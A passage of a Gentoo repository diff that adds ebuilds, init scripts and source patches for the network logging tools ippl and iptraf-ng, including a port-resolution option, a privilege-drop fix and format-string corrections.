+
+ extern unsigned short use_ident;
+ extern unsigned short resolve_protocols;
++extern unsigned short portresolve_protocols;
+ extern unsigned short icmp_format;
+ extern unsigned short tcp_format;
+ extern unsigned short udp_format;
+@@ -66,7 +67,7 @@
+ #ifdef FILTER_DEBUG
+ void display_info(struct log_info *info, int entries) {
+
+- log.log(log.level_or_fd, "DBG: (e:%d) log:%d ident:%d resolve:%d closing:%d format:%d", entries, info->log, info->ident, info->resolve, info->logclosing, info->logformat);
++ log.log(log.level_or_fd, "DBG: (e:%d) log:%d ident:%d resolve:%d portresolve: %d, closing:%d format:%d", entries, info->log, info->ident, info->resolve, info->portresolve, info->logclosing, info->logformat);
+ }
+ #endif
+
+@@ -200,6 +201,19 @@
+ break;
+ }
+ }
++ if (info->portresolve == -1) {
++ switch (protocol) {
++ case IPPROTO_ICMP:
++ info->portresolve = portresolve_protocols & RUN_ICMP;
++ break;
++ case IPPROTO_TCP:
++ info->portresolve = portresolve_protocols & RUN_TCP;
++ break;
++ case IPPROTO_UDP:
++ info->portresolve = portresolve_protocols & RUN_UDP;
++ break;
++ }
++ }
+ }
+
+ struct log_info do_log(const __u32 from, const __u32 to, const __u16 type, const __u16 srctype, const short protocol) {
+@@ -244,6 +258,7 @@
+ info.log = p->log;
+ info.ident = p->ident;
+ info.resolve = p->resolve;
++ info.portresolve = p->portresolve;
+ info.logformat = p->logformat;
+ info.logclosing = p->logclosing;
+ set_defaults(protocol, &info);
+@@ -265,6 +280,7 @@
+ info.log = p->log;
+ info.ident = p->ident;
+ info.resolve = p->resolve;
++ info.portresolve = p->portresolve;
+ info.logformat = p->logformat;
+ set_defaults(protocol, &info);
+ #ifdef FILTER_DEBUG
+@@ -280,7 +296,7 @@
+ info.log = TRUE;
+ info.ident = use_ident;
+ info.logclosing = log_closing;
+- info.logformat = info.resolve = -1;
++ info.logformat = info.resolve = info.portresolve = -1;
+ set_defaults(protocol, &info);
+
+ #ifdef FILTER_DEBUG
+
+--- a/Source/filter.h
++++ b/Source/filter.h
+@@ -53,6 +53,7 @@
+ struct filter_entry {
+ short log; /* TRUE for "log", FALSE for "ignore" */
+ short ident; /* TRUE if we should use ident */
++ short portresolve; /* TRUE if we should resolve TCP/UDP services */
+ short resolve; /* TRUE if we should resolve IP addresses */
+ short logformat; /* format used to log */
+ short logclosing; /* TRUE to log closing TCP connections */
+@@ -72,6 +73,7 @@
+ short log;
+ short ident;
+ short resolve;
++ short portresolve;
+ short logclosing;
+ short logformat;
+ };
+
+--- a/Source/ippl.l
++++ b/Source/ippl.l
+@@ -75,6 +75,9 @@
+ [lL][oO][gG][cC][lL][oO][sS][iI][nN][gG] return LOGCLOSING;
+ [nN][oO][lL][oO][gG][cC][lL][oO][sS][iI][nN][gG] return NOLOGCLOSING;
+
++[nN][oO][pP][oO][rR][tT][rR][eE][sS][oO][lL][vV][eE] return NOPORTRESOLVE;
++[pP][oO][rR][tT][rR][eE][sS][oO][lL][vV][eE] return PORTRESOLVE;
++
+ [nN][oO][rR][eE][sS][oO][lL][vV][eE] return NORESOLVE;
+ [rR][eE][sS][oO][lL][vV][eE] return RESOLVE;
+
+
+--- a/Source/ippl.y
++++ b/Source/ippl.y
+@@ -61,6 +61,7 @@
+
+ /* Should name resolving be done? */
+ unsigned short resolve_protocols;
++unsigned short portresolve_protocols;
+
+ /* Logging format for each protocol */
+ unsigned short icmp_format;
+@@ -100,7 +101,7 @@
+ %token<stringval> IP HOSTMASK IDENTIFIER FILENAME
+ %token<longval> NUMBER
+
+-%token LOGFORMAT DETAILED SHORT NORMAL RESOLVE NORESOLVE IDENT NOIDENT LOGCLOSING NOLOGCLOSING
++%token LOGFORMAT DETAILED SHORT NORMAL RESOLVE NORESOLVE IDENT NOIDENT LOGCLOSING NOLOGCLOSING PORTRESOLVE NOPORTRESOLVE
+ %token RUN RUNAS EXPIRE LOG_IN LOG IGNORE FROM TO TYPE PORT SRCPORT OPTION COMMA
+ %token ICMP TCP UDP ALL
+
+@@ -138,6 +139,11 @@
+ | NORESOLVE ProtoList EOL
+ { resolve_protocols &= ~$2; }
+
++ | PORTRESOLVE ProtoList EOL
++ { portresolve_protocols |= $2; }
++ | NOPORTRESOLVE ProtoList EOL
++ { portresolve_protocols &= ~$2; }
++
+ | LOGCLOSING EOL
+ { log_closing = TRUE; }
+ | NOLOGCLOSING EOL
+@@ -249,6 +255,7 @@
+ switches.log = -1;
+ switches.ident = use_ident;
+ switches.resolve = -1;
++ switches.portresolve = -1;
+ switches.logformat = -1;
+ switches.logclosing = log_closing;
+ }
+@@ -259,6 +266,7 @@
+ $$->ident = switches.ident;
+ $$->logclosing = switches.logclosing;
+ $$->resolve = switches.resolve;
++ $$->portresolve = switches.portresolve;
+ $$->logformat = switches.logformat;
+ $$->protocol = $4.protocol;
+ $$->loginfo = $4.loginfoval;
+@@ -287,6 +295,8 @@
+ | NOIDENT { switches.ident = FALSE; }
+ | RESOLVE { switches.resolve = RUN_ICMP | RUN_TCP | RUN_UDP; }
+ | NORESOLVE { switches.resolve = 0; }
++ | PORTRESOLVE { switches.portresolve = RUN_ICMP | RUN_TCP | RUN_UDP; }
++ | NOPORTRESOLVE { switches.portresolve = 0; }
+ | SHORT { switches.logformat = LOGFORMAT_SHORT; }
+ | NORMAL { switches.logformat = LOGFORMAT_NORMAL; }
+ | DETAILED { switches.logformat = LOGFORMAT_DETAILED; }
+
+--- a/Source/main.c
++++ b/Source/main.c
+@@ -48,6 +48,10 @@
+ #include "filter.h"
+ #include "pidfile.h"
+
++#ifndef PATH_MAX
++#define PATH_MAX 4096
++#endif
++
+ /* Logging mechanism */
+ struct loginfo log;
+
+
+--- a/Source/netutils.c
++++ b/Source/netutils.c
+@@ -237,15 +237,21 @@
+ * Get a service name for a specified protocol
+ */
+
+-void service_lookup(char *proto, char *service, __u16 port) {
++void service_lookup(char *proto, char *service, __u16 port, int portresolve) {
+ struct servent *se;
+
+ pthread_mutex_lock(&service_mutex);
+- se = getservbyport(port, proto);
+- if (se == NULL)
++ if (portresolve)
++ {
++ se = getservbyport(port, proto);
++ if (se == NULL)
++ snprintf(service, SERVICE_LENGTH, "port %d", ntohs(port));
++ else {
++ snprintf(service, SERVICE_LENGTH, "%s", se->s_name);
++ }
++ }
++ else {
+ snprintf(service, SERVICE_LENGTH, "port %d", ntohs(port));
+- else {
+- snprintf(service, SERVICE_LENGTH, "%s", se->s_name);
+ }
+ pthread_mutex_unlock(&service_mutex);
+ }
+
+--- a/Source/netutils.h
++++ b/Source/netutils.h
+@@ -53,6 +53,6 @@
+ const __u32 src_addr, const __u16 src_port,
+ const __u32 dst_addr, const __u16 dst_port);
+
+-void service_lookup(char *proto, char *service, __u16 port);
++void service_lookup(char *proto, char *service, __u16 port, int portresolve);
+
+ #endif
+
+--- a/Source/tcp.c
++++ b/Source/tcp.c
+@@ -51,6 +51,7 @@
+ struct loginfo tcp_log;
+ extern struct loginfo log;
+ extern unsigned short resolve_protocols;
++extern unsigned short portresolve_protocols;
+
+ /*
+ * Structure of a TCP packet
+@@ -88,7 +89,7 @@
+ *details ='\0';
+ host_print(remote_host, IPHDR.saddr,
+ info.resolve);
+- service_lookup("tcp", service, TCPHDR.dest);
++ service_lookup("tcp", service, TCPHDR.dest, info.portresolve);
+ if (info.logformat == LOGFORMAT_DETAILED) {
+ get_details(details,
+ IPHDR.saddr,
+@@ -186,7 +187,7 @@
+ *details ='\0';
+ host_print(remote_host, IPHDR.saddr,
+ info.resolve);
+- service_lookup("tcp", service, TCPHDR.dest);
++ service_lookup("tcp", service, TCPHDR.dest, info.portresolve);
+ if (info.logformat == LOGFORMAT_DETAILED) {
+ get_details(details,
+ IPHDR.saddr,
+
+--- a/Source/udp.c
++++ b/Source/udp.c
+@@ -81,7 +81,7 @@
+ *details ='\0';
+ host_print(remote_host, IPHDR.saddr,
+ info.resolve);
+- service_lookup("udp", service, UDPHDR.dest);
++ service_lookup("udp", service, UDPHDR.dest, info.portresolve);
+ if (info.logformat == LOGFORMAT_DETAILED) {
+ get_details(details,
+ IPHDR.saddr,
+
+--- a/ippl.conf
++++ b/ippl.conf
+@@ -4,13 +4,15 @@
+ # User used
+ # ---------
+ # Specify the user (declared in /etc/passwd) used to run the
+-# logging threads.
+-#runas nobody
++# logging threads. The ippl process visible in the process table
++# is still running as root! Look in /proc/pid/task to see the threads
++# running as ippl
++runas ippl
+
+ # Resolve hostnames?
+ # ------------------
+-# Uncomment the line below to disable DNS lookups
+-#noresolve all
++# Uncomment the line below to enable DNS lookups
++#resolve all
+
+ # Use ident?
+ # ----------
+@@ -38,9 +40,14 @@
+ # ----------------
+ run icmp tcp
+ # Uncomment the line below to log UDP traffic.
+-# See ippl.conf(5) for recommandations.
++# See ippl.conf(5) for recommendations.
+ #run udp
+
++# Resolve tcp/udp port to service name?
++# -------------------------------------
++# portresolve icmp tcp udp
++# Set noportresolve <protocol-list> to log port numbers instead
++
+ # Logging format
+ # ----------------
+ # If you want to see the destination address, the ports, etc
+@@ -63,6 +70,3 @@
+ # Do not log DNS queries
+ #ignore udp port domain
+ #ignore udp srcport domain
+-
+-# End of configuration
+-# Copyright (C) 1998-1999 Hugo Haas - Etienne Bernard
+
diff --git a/net-analyzer/ippl/files/ippl-1.4.14-privilege-drop.patch b/net-analyzer/ippl/files/ippl-1.4.14-privilege-drop.patch
new file mode 100644
index 000000000000..0f6d03684a93
--- /dev/null
+++ b/net-analyzer/ippl/files/ippl-1.4.14-privilege-drop.patch
@@ -0,0 +1,140 @@
+privilege-drop by Marc Haber <mh+debian-packages@zugschlus.de>
+
+--- a/Source/icmp.c
++++ b/Source/icmp.c
+@@ -39,6 +39,8 @@
+ #include "log.h"
+ #include "filter.h"
+ #include "configuration.h"
++#include <string.h>
++#include <errno.h>
+
+ /* Socket */
+ int icmp_socket;
+@@ -296,14 +298,16 @@
+
+ icmp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
+ if (icmp_socket <= 0) {
+- log.log(log.level_or_fd, "FATAL: Unable to open icmp raw socket");
++ int error = errno;
++ log.log(log.level_or_fd, "FATAL: Unable to open icmp raw socket\nERROR No: %d\nERROR : %s", error, strerror(error));
+ exit(1);
+ }
+
+- setgid(((struct passwd *)nobody)->pw_gid);
++ /* Don't do this here - race conditions will arise */
++ /* setgid(((struct passwd *)nobody)->pw_gid);
+ initgroups(((struct passwd *)nobody)->pw_name,
+ ((struct passwd *)nobody)->pw_gid);
+- setuid(((struct passwd *)nobody)->pw_uid);
++ setuid(((struct passwd *)nobody)->pw_uid); */
+
+ for(;;) {
+ if (read(icmp_socket, (__u8 *) &pkt, ICMP_CAPTURE_LENGTH) == -1) {
+--- a/Source/main.c
++++ b/Source/main.c
+@@ -153,6 +153,17 @@
+ run_thread(&udp_t, log_udp, (void *)account);
+ }
+
++ /* Sleep 1 sec to allow the other threads to catchup */
++ /* Not the best way to solve the issue but it works */
++ sleep(1);
++
++ /* Drop privileges */
++
++ setgid(((struct passwd *)account)->pw_gid);
++ initgroups(((struct passwd *)account)->pw_name,
++ ((struct passwd *)account)->pw_gid);
++ setuid(((struct passwd *)account)->pw_uid);
++
+ }
+
+
+@@ -160,8 +171,10 @@
+ * reload_configuration
+ *
+ * Stops the threads and reloads the configuration
++ *
++ * -- DEPRECATED (due to privilege drop cannot reload - needs a restart!)
+ */
+-void reload_configuration() {
++void reload_configuration_DEPRECATED() {
+ extern pthread_mutex_t log_mutex, service_mutex, dns_mutex, r_mux, w_mux;
+ extern pthread_cond_t w_cond;
+ extern int readers;
+@@ -353,8 +366,10 @@
+ * Function executed when we receive a SIHUP signal
+ */
+ void sighup(int sig) {
+- reload_configuration();
+- log.log(log.level_or_fd, "IP Protocols Logger: reloaded configuration.");
++ // DEPRECATED - reload_configuration();
++ // log.log(log.level_or_fd, "IP Protocols Logger: reloaded configuration.");
++ log.log(log.level_or_fd, "IP Protocols Logger: reload configuration is unsupported.");
++ die(sig);
+ signal(SIGHUP, sighup);
+ }
+
+--- a/Source/tcp.c
++++ b/Source/tcp.c
+@@ -44,6 +44,8 @@
+ #include "filter.h"
+ #include "configuration.h"
+ #include "ident.h"
++#include <errno.h>
++#include <string.h>
+
+ /* Socket */
+ int tcp_socket;
+@@ -258,14 +260,16 @@
+
+ tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
+ if (tcp_socket <= 0) {
+- log.log(log.level_or_fd, "FATAL: Unable to open tcp raw socket");
++ int error = errno;
++ log.log(log.level_or_fd, "FATAL: Unable to open tcp raw socket\nERROR No: %d\nERROR : %s", error, strerror(error));
+ exit(1);
+ }
+
+- setgid(((struct passwd *)nobody)->pw_gid);
++ /* Don't do this here - race conditions will arise */
++ /* setgid(((struct passwd *)nobody)->pw_gid);
+ initgroups(((struct passwd *)nobody)->pw_name,
+ ((struct passwd *)nobody)->pw_gid);
+- setuid(((struct passwd *)nobody)->pw_uid);
++ setuid(((struct passwd *)nobody)->pw_uid); */
+
+ for(;;) {
+ if (read(tcp_socket, (__u8 *) &pkt, TCP_CAPTURE_LENGTH) == -1) {
+--- a/Source/udp.c
++++ b/Source/udp.c
+@@ -39,6 +39,8 @@
+ #include "filter.h"
+ #include "configuration.h"
+ #include "ident.h"
++#include <errno.h>
++#include <string.h>
+
+ /* Socket */
+ int udp_socket;
+@@ -138,14 +140,16 @@
+
+ udp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
+ if (udp_socket <= 0) {
+- log.log(log.level_or_fd, "FATAL: Unable to open udp raw socket");
++ int error = errno;
++ log.log(log.level_or_fd, "FATAL: Unable to open udp raw socket\nERROR No: %d\nERROR : %s", error, strerror(error));
+ exit(1);
+ }
+
+- setgid(((struct passwd *)nobody)->pw_gid);
++ /* Don't do this here - race conditions will arise */
++ /* setgid(((struct passwd *)nobody)->pw_gid);
+ initgroups(((struct passwd *)nobody)->pw_name,
+ ((struct passwd *)nobody)->pw_gid);
+- setuid(((struct passwd *)nobody)->pw_uid);
++ setuid(((struct passwd *)nobody)->pw_uid); */
+
+ for(;;) {
+ if (read(udp_socket, (__u8 *) &pkt, UDP_CAPTURE_LENGTH) == -1) {
diff --git a/net-analyzer/ippl/files/ippl.rc b/net-analyzer/ippl/files/ippl.rc
new file mode 100644
index 000000000000..df9ecd1d9d3b
--- /dev/null
+++ b/net-analyzer/ippl/files/ippl.rc
@@ -0,0 +1,31 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -f /etc/ippl.conf ]
+ then
+ eerror "Please create /etc/ippl.conf"
+ return 1
+ fi
+ return 0
+}
+
+start() {
+ checkconfig || return $?
+ ebegin "Starting ippl"
+ start-stop-daemon --start --quiet --pidfile /run/ippl.pid \
+ --exec /usr/sbin/ippl
+ eend $? "Failed to start ippl"
+}
+
+stop() {
+ ebegin "Stopping ippl"
+ start-stop-daemon --stop --quiet --pidfile /run/ippl.pid
+ eend $? "Failed to stop ippl"
+}
diff --git a/net-analyzer/ippl/ippl-1.4.14-r3.ebuild b/net-analyzer/ippl/ippl-1.4.14-r3.ebuild
new file mode 100644
index 000000000000..93d07942e405
--- /dev/null
+++ b/net-analyzer/ippl/ippl-1.4.14-r3.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit eutils toolchain-funcs user
+
+DESCRIPTION="A daemon which logs TCP/UDP/ICMP packets"
+HOMEPAGE="http://pltplp.net/ippl/"
+SRC_URI="http://pltplp.net/ippl/archive/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE=""
+
+DEPEND="virtual/yacc
+ >=sys-devel/flex-2.5.4a-r4"
+RDEPEND=""
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/ippl-1.4.14-noportresolve.patch \
+ "${FILESDIR}"/ippl-1.4.14-manpage.patch \
+ "${FILESDIR}"/ippl-1.4.14-privilege-drop.patch \
+ "${FILESDIR}"/ippl-1.4.14-includes.patch
+ sed -i Source/Makefile.in \
+ -e 's|^LDFLAGS=|&@LDFLAGS@|g' \
+ || die "sed Source/Makefile.in"
+ sed -i Makefile.in \
+ -e 's|make |$(MAKE) |g' \
+ || die "sed Makefile.in"
+ # fix for bug #351287
+ sed -i -e '/lex.yy.c/s/ippl.l/& y.tab.c/' Source/Makefile.in \
+ || die "sed src/Makefile.in"
+ tc-export CC
+}
+
+src_install() {
+ dosbin Source/ippl
+
+ insinto "/etc"
+ doins ippl.conf
+
+ doman Docs/{ippl.8,ippl.conf.5}
+
+ dodoc BUGS CREDITS HISTORY README TODO
+
+ newinitd "${FILESDIR}"/ippl.rc ippl
+}
+
+pkg_postinst() {
+ enewuser ippl
+}
diff --git a/net-analyzer/ippl/ippl-1.4.14-r5.ebuild b/net-analyzer/ippl/ippl-1.4.14-r5.ebuild
new file mode 100644
index 000000000000..e760c6d2a6af
--- /dev/null
+++ b/net-analyzer/ippl/ippl-1.4.14-r5.ebuild
@@ -0,0 +1,57 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs user
+
+DESCRIPTION="A daemon which logs TCP/UDP/ICMP packets"
+HOMEPAGE="http://pltplp.net/ippl/"
+SRC_URI="http://pltplp.net/ippl/archive/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+DEPEND="virtual/yacc
+ >=sys-devel/flex-2.5.4a-r4"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/ippl-1.4.14-noportresolve.patch \
+ "${FILESDIR}"/ippl-1.4.14-manpage.patch \
+ "${FILESDIR}"/ippl-1.4.14-privilege-drop.patch \
+ "${FILESDIR}"/ippl-1.4.14-includes.patch \
+ "${FILESDIR}"/ippl-1.4.14-format-warnings.patch
+
+ sed -i Source/Makefile.in \
+ -e 's|^LDFLAGS=|&@LDFLAGS@|g' \
+ || die
+
+ sed -i Makefile.in \
+ -e 's|make |$(MAKE) |g' \
+ || die
+
+ # fix for bug #351287
+ sed -i -e '/lex.yy.c/s/ippl.l/& y.tab.c/' Source/Makefile.in \
+ || die
+
+ tc-export CC
+}
+
+src_install() {
+ dosbin Source/ippl
+
+ insinto "/etc"
+ doins ippl.conf
+
+ doman Docs/{ippl.8,ippl.conf.5}
+
+ dodoc BUGS CREDITS HISTORY README TODO
+
+ newinitd "${FILESDIR}"/ippl.rc ippl
+}
+
+pkg_postinst() {
+ enewuser ippl
+}
diff --git a/net-analyzer/ippl/metadata.xml b/net-analyzer/ippl/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/ippl/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/iptraf-ng/Manifest b/net-analyzer/iptraf-ng/Manifest
new file mode 100644
index 000000000000..474c59b552c5
--- /dev/null
+++ b/net-analyzer/iptraf-ng/Manifest
@@ -0,0 +1 @@
+DIST iptraf-ng-1.1.4.tar.gz 583306 SHA256 79140cf07c0cceb1b5723242847a73aa86f5e4f9dccfe8970fda6801d347eb09 SHA512 8cafb0000cec75eb4071156a9e9350ffe6de99cb6386e8f50d05337113872ee50082a30009d85faa02d83633a8e727039791332d600654321b95ca6cfc881774 WHIRLPOOL 442b6091c818f81a4db98999e7a6f0b9a1b58271c49c5758c70fd97c98c8b28c2f83e2824fb5ef434610f117ff071d5cc7335ea5cc01cbb384725018e9781d5d
diff --git a/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-printf-format.patch b/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-printf-format.patch
new file mode 100644
index 000000000000..6bad736e2e44
--- /dev/null
+++ b/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-printf-format.patch
@@ -0,0 +1,11 @@
+--- a/src/ipfilter.c
++++ b/src/ipfilter.c
+@@ -146,7 +146,7 @@
+ snprintf(msgstr, 60,
+ "Invalid protocol input at or near token \"%s\"",
+ bptr);
+- tui_error(ANYKEY_MSG, msgstr);
++ tui_error(ANYKEY_MSG, "%s", msgstr);
+ doagain = 1;
+ } else
+ doagain = 0;
diff --git a/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-sprintf-format.patch b/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-sprintf-format.patch
new file mode 100644
index 000000000000..96f252895cb2
--- /dev/null
+++ b/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-sprintf-format.patch
@@ -0,0 +1,20 @@
+--- a/src/othptab.c
++++ b/src/othptab.c
+@@ -410,7 +410,7 @@
+ break;
+ }
+
+- sprintf(scratchpad, rarp_mac_addr);
++ sprintf(scratchpad, "%s", rarp_mac_addr);
+ strcat(msgstring, scratchpad);
+ wattrset(table->othpwin, ARPATTR);
+ break;
+@@ -485,7 +485,7 @@
+ wattrset(table->othpwin, UNKNIPATTR);
+ protptr = getprotobynumber(entry->protocol);
+ if (protptr != NULL) {
+- sprintf(protname, protptr->p_aliases[0]);
++ sprintf(protname, "%s", protptr->p_aliases[0]);
+ } else {
+ sprintf(protname, "IP protocol");
+ unknown = 1;
diff --git a/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-tcplog_flowrate_msg.patch b/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-tcplog_flowrate_msg.patch
new file mode 100644
index 000000000000..8e01989fe6fe
--- /dev/null
+++ b/net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-tcplog_flowrate_msg.patch
@@ -0,0 +1,11 @@
+--- a/src/tcptable.c
++++ b/src/tcptable.c
+@@ -437,6 +437,8 @@ static char *tcplog_flowrate_msg(struct tcptableent *entry, char *buf,
+ size_t bufsize)
+ {
+ time_t interval = time(NULL) - entry->conn_starttime;
++ if (interval < 1)
++ interval = 1;
+
+ char rbuf[64];
+ rate_print(entry->bcount / interval, rbuf, sizeof(rbuf));
diff --git a/net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r1.ebuild b/net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r1.ebuild
new file mode 100644
index 000000000000..e69b978e074b
--- /dev/null
+++ b/net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r1.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A console-based network monitoring utility"
+HOMEPAGE="http://fedorahosted.org/iptraf-ng/"
+SRC_URI="http://fedorahosted.org/releases/${PN:0:1}/${PN:1:1}/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2 doc? ( FDL-1.1 )"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 ~s390 ~sh sparc x86"
+IUSE="doc"
+
+RESTRICT="test"
+
+RDEPEND="
+ >=sys-libs/ncurses-5.7-r7
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/os-headers
+ !net-analyzer/iptraf
+"
+
+src_prepare() {
+ sed -i \
+ -e '/^CC =/d' \
+ -e '/^CFLAGS/s:= -g -O2:+= :' \
+ -e '/^LDFLAGS =/d' \
+ -e 's|$(QUIET_[[:alpha:]]*)||g' \
+ Makefile || die
+ sed -i \
+ -e 's|IPTRAF|&-NG|g' \
+ -e 's|IPTraf|&-NG|g' \
+ -e 's|iptraf|&-ng|g' \
+ -e 's|rvnamed|&-ng|g' \
+ -e 's|RVNAMED|&-NG|g' \
+ src/*.8 || die
+
+ epatch "${FILESDIR}"/${P}-tcplog_flowrate_msg.patch
+}
+
+# configure does not do very much we do not already control
+src_configure() { :; }
+
+src_compile() {
+ tc-export CC
+ CFLAGS+=' -DLOCKDIR=\"/run/lock/iptraf-ng\"'
+ default
+}
+
+src_install() {
+ dosbin {iptraf,rvnamed}-ng
+
+ doman src/*.8
+ dodoc AUTHORS CHANGES FAQ README* RELEASE-NOTES
+ use doc && dohtml -a gif,html,png -r Documentation/*
+
+ keepdir /var/{lib,log}/iptraf-ng #376157
+}
diff --git a/net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r2.ebuild b/net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r2.ebuild
new file mode 100644
index 000000000000..95b2dd116599
--- /dev/null
+++ b/net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r2.ebuild
@@ -0,0 +1,65 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A console-based network monitoring utility"
+HOMEPAGE="http://fedorahosted.org/iptraf-ng/"
+SRC_URI="http://fedorahosted.org/releases/${PN:0:1}/${PN:1:1}/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2 doc? ( FDL-1.1 )"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86"
+IUSE="doc"
+
+RESTRICT="test"
+
+RDEPEND="
+ >=sys-libs/ncurses-5.7-r7
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/os-headers
+ !net-analyzer/iptraf
+"
+
+src_prepare() {
+ sed -i \
+ -e '/^CC =/d' \
+ -e '/^CFLAGS/s:= -g -O2:+= :' \
+ -e '/^LDFLAGS =/d' \
+ -e 's|$(QUIET_[[:alpha:]]*)||g' \
+ Makefile || die
+ sed -i \
+ -e 's|IPTRAF|&-NG|g' \
+ -e 's|IPTraf|&-NG|g' \
+ -e 's|iptraf|&-ng|g' \
+ -e 's|rvnamed|&-ng|g' \
+ -e 's|RVNAMED|&-NG|g' \
+ src/*.8 || die
+
+ epatch "${FILESDIR}"/${P}-tcplog_flowrate_msg.patch
+ epatch "${FILESDIR}"/${P}-printf-format.patch
+ epatch "${FILESDIR}"/${P}-sprintf-format.patch
+}
+
+# configure does not do very much we do not already control
+src_configure() { :; }
+
+src_compile() {
+ tc-export CC
+ CFLAGS+=' -DLOCKDIR=\"/run/lock/iptraf-ng\"'
+ default
+}
+
+src_install() {
+ dosbin {iptraf,rvnamed}-ng
+
+ doman src/*.8
+ dodoc AUTHORS CHANGES FAQ README* RELEASE-NOTES
+ use doc && dohtml -a gif,html,png -r Documentation/*
+
+ keepdir /var/{lib,log}/iptraf-ng #376157
+}
diff --git a/net-analyzer/iptraf-ng/iptraf-ng-9999.ebuild b/net-analyzer/iptraf-ng/iptraf-ng-9999.ebuild
new file mode 100644
index 000000000000..660a84c6022e
--- /dev/null
+++ b/net-analyzer/iptraf-ng/iptraf-ng-9999.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils git-r3 toolchain-funcs
+
+DESCRIPTION="A console-based network monitoring utility"
+HOMEPAGE="http://fedorahosted.org/iptraf-ng/"
+EGIT_REPO_URI="https://git.fedorahosted.org/git/iptraf-ng.git"
+
+LICENSE="GPL-2 doc? ( FDL-1.1 )"
+SLOT="0"
+KEYWORDS=""
+IUSE="doc"
+
+RESTRICT="test"
+
+RDEPEND="
+ >=sys-libs/ncurses-5.7-r7
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/os-headers
+ !net-analyzer/iptraf
+"
+
+src_prepare() {
+ sed -i \
+ -e '/^CC =/d' \
+ -e '/^CFLAGS/s:= -g -O2:+= :' \
+ -e '/^LDFLAGS =/d' \
+ -e 's|$(QUIET_[[:alpha:]]*)||g' \
+ Makefile || die
+ sed -i \
+ -e 's|IPTRAF|&-NG|g' \
+ -e 's|IPTraf|&-NG|g' \
+ -e 's|iptraf|&-ng|g' \
+ -e 's|rvnamed|&-ng|g' \
+ -e 's|RVNAMED|&-NG|g' \
+ src/*.8 || die
+}
+
+# configure does not do very much we do not already control
+src_configure() { :; }
+
+src_compile() {
+ tc-export CC
+ CFLAGS+=' -DLOCKDIR=\"/run/lock/iptraf-ng\"'
+ default
+}
+
+src_install() {
+ dosbin {iptraf,rvnamed}-ng
+
+ doman src/*.8
+ dodoc AUTHORS CHANGES FAQ README* RELEASE-NOTES
+ use doc && dohtml -a gif,html,png -r Documentation/*
+
+ keepdir /var/{lib,log}/iptraf-ng #376157
+}
diff --git a/net-analyzer/iptraf-ng/metadata.xml b/net-analyzer/iptraf-ng/metadata.xml
new file mode 100644
index 000000000000..1599ce69cc6f
--- /dev/null
+++ b/net-analyzer/iptraf-ng/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+ Interactive Colorful IP LAN Monitor, an active fork of iptraf
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/iptstate/Manifest b/net-analyzer/iptstate/Manifest
new file mode 100644
index 000000000000..03d719f15656
--- /dev/null
+++ b/net-analyzer/iptstate/Manifest
@@ -0,0 +1 @@
